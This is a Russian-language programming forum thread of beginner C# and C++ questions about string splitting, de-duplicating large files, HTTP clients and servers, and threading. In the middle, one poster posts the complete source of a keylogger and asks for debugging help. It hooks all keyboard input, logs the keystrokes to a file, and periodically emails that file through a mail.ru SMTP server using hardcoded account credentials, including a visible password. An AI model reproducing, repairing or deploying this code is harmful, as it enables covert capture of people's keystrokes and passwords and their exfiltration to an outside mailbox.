Весьма хорош Prism. Примеры к нему - замечательные, подробней просто некуда. При желании можно легко интегрировать с док-движками и ioc-контейнером.
Подскажите как реализовать следующее, есть строки, в них забиты ключевые слова, которые разделяются знаком ':' . Пример строки: "12345:4321:7654:qwerty" . Мне нужно вырезать 12345 , 4321 ... итд. Какой функцией это делается?
Еще вопрос по воводу удаления повторов строк. Есть файл с количеством строк до миллиона. Необходимо удалить все повторы строк. Подскажие по какому алгоритму оптимальнее и быстрее это делать и какими функциями? Ибо я пробовал так: С помощью streamReader.ReadLine считывал по одной строке, сравнивал функцией Contains, нет ли этой строки в переменной string, если нет-добавлял эту строку в перменную и сразу же через WriteLine добавлял строку в файл. Короче таким образом несколько часов оно удаляло, что не годится.
>>Replace это метод переменной. FACEPALM!!! shiku 1. File.ReadAllLines -> Distinct (LINQ) 2. Создаешь промежуточную коллекцию - как в твоем случае 3. Регулярное выражение
Подскажите, как замутить простой HTTP сервер на c#, который бы получал GET переменную из запроса, и выводил в браузер какой либо текст, основываясь на полученную переменную ? Изначально, хотел накатать asp страницу, но асп работать мне, увы, больше не хочется... Заранее спасибо.
Если ты про asp.net, то там этот вопрос решается одной строчкой. не думаю, что где-то и как-то по другому будет кароче и лучше.
Как можно сделать что то вроде счетчика в потоках. Например: Есть ричтекстбокс в котором список фамилий и при запуске программы в 100 потоков одновременно первые 100 фамилий копируются в другой ричтекстбокс
не совсем понял суть вопроса... Code: public void Function() { string[] stringSeparators = new string[] { "\r\n" }; string[] result = richTextBox1.Text.Split(stringSeparators, StringSplitOptions.None); //получили массив строк текста ричтекстбокса richTextBox2.Text = richTextBox1.Text; //присвоение содержимого ричтекстбокса2 к ричтексбокс1 } int kolvo = 3; Thread[] pp; public void ThreadStart() { //управляемое кол-во потоков pp = new Thread[kolvo]; for (int i = 0; i < kolvo; i++) { pp[i] = new Thread(new ThreadStart(delegate() { Function(); })); pp[i].IsBackground = true; pp[i].Start(); } }
Можно на основе класса - HttpListener. inCode без обид, лучше почитай теорию, прежде чем давать советы. Почему? Давай рассмотрим твой последний совет: Первая заповедь работы с потоками? Нельзя обращаться к контролам не из потока-родителя! Молчу про оптимизацию. >>Как можно сделать что то вроде счетчика в потоках. Interlocker.Increment/Decrement. В кратце, объявляешь int переменную, используешь Increment при запуске потока, Decrement по завершению задачи в потоке. Вот и все.
Доброго времени суток! Имеется кейлоггер,который работает крайне нестабильно, причем, если в одной проге - кейлоггер, а в другой прога, которая отправляет сам текстовик на почту все работает норм, а когда склеиваю вместе не пашет...(вот код *P.S не обработала еще очень много исключений, доделаю*)Почему так происходит?вот код: Code: using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Text; using System.Windows.Forms; using System.IO; using System.Net; using System.Web; using System.Net.Mail; using System.Net.Mime; using System.Runtime.InteropServices; using System.Diagnostics; using Microsoft.Win32; using Utilities; namespace WindowsFormsApplication1 { public partial class Form1 : Form { string b = Application.StartupPath + @"\" + "qwerty.txt"; public Form1() { InitializeComponent(); } [DllImport("user32.dll")] private static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count); [DllImport("user32.dll")] private static extern IntPtr GetForegroundWindow(); globalKeyboardHook gkh = new globalKeyboardHook(); private void HookAll() { foreach (object key in Enum.GetValues(typeof(Keys))) { gkh.HookedKeys.Add((Keys)key); } } private void Form1_Load(object sender, EventArgs e) { MessageBox.Show(b); if (File.Exists(b)) { File.Delete(b); FileStream hat = new FileStream(b, FileMode.CreateNew, FileAccess.ReadWrite); } else { FileStream hat = new FileStream(b, FileMode.CreateNew, FileAccess.ReadWrite); } try { gkh.KeyDown += new KeyEventHandler(gkh_KeyDown); HookAll(); } catch (Exception) { } } void gkh_KeyDown(object sender, KeyEventArgs e) { try { StreamWriter SW = new StreamWriter(b, true); SW.Write(e.KeyCode + " "); SW.Close(); } catch (Exception) { } } private void timer1_Tick(object sender, EventArgs e) { { int onoff = 1; timer1.Enabled = true; if (onoff == 1) { if (File.Exists(b)) { SmtpClient Smtp = new SmtpClient("smtp.mail.ru", 25); Smtp.Credentials = new NetworkCredential("aidiotnikov", "blbjnybrjd1"); MailMessage Message = new MailMessage(); Message.From = new MailAddress("[email protected]"); Message.To.Add(new MailAddress("[email protected]")); Message.Subject = "Привет"; Message.Body = "Это Яша,лови текстовик"; //Прикрепляем файл Attachment attach = new Attachment(b, MediaTypeNames.Application.Octet); Message.Attachments.Add(attach); Smtp.Send(Message);//отправка onoff = 0; } } else { MessageBox.Show("Mail hasn't been sent"); } } } } } Заранее спасибо
Нужен код простейшего http клиента, который переходит по указанному урлу и заносит в переменную исходник данной страницы. HELP!
надеюсь не закидают помидорами) public string RequestFoo(string url) { HttpWebRequest req = (HttpWebRequest)WebRequest.Create(url); HttpWebResponse resp = (HttpWebResponse)req.GetResponse(); StreamReader DataRead = new StreamReader(resp.GetResponseStream(), Encoding.GetEncoding(1251)); string Output = DataRead.ReadToEnd(); return Output; }
я тебя боюсь уже Но все же интересно, смысл в данном примере освобождения от процесса?(хм через using, но ведь есть garbage collector...) Если, к примеру чтение файла, то согласен...
В результате нескольких часов исследоватия с++ получил такой код Code: // html.cpp: implementation of the CHTTPReader class. // ////////////////////////////////////////////////////////////////////// #include "stdafx.h" using namespace std; #include <windows.h> #include <wininet.h> #pragma comment(lib,"wininet") #include <stdlib.h> #include <fstream> #include <iostream> #include <conio.h> int main(int argc, char* argv[]) { HINTERNET hInternet =::InternetOpen( TEXT("WinInet Test"), INTERNET_OPEN_TYPE_PRECONFIG, NULL,NULL, 0); if (hInternet != NULL) { cout << "good" << endl; } HINTERNET hConnect =::InternetConnect( hInternet, TEXT("mail.ru"), INTERNET_DEFAULT_HTTP_PORT, NULL,NULL, INTERNET_SERVICE_HTTP, 0, 1u); if (hConnect != NULL) { cout << "good" << endl; } HINTERNET hRequest =::HttpOpenRequest( hConnect, TEXT("GET"), TEXT("index.php"), NULL, NULL, 0, INTERNET_FLAG_KEEP_CONNECTION, 1); if (hRequest != NULL) { cout << "good" << endl; } BOOL bSend = ::HttpSendRequest(hRequest, NULL,0, NULL,0); if (bSend) { // читаем данные char szData[1024]; DWORD dwBytesRead; BOOL bRead =::InternetReadFile( hRequest, szData,sizeof(szData)-1, &dwBytesRead); char vOut = bSend; cout << vOut <<endl; getch(); }} Но гдето я допустил ошибочку(( вместо исходника программка выводит цифру 1((( подскажите где я ошибся...
А кто будет закрывать поток ответа? resp.Close(); return Output; [ C# / Java ] — начинающим: задаем вопросы Если копируешь код, то копируй его хотя-бы правильно: [Введение в WinInet]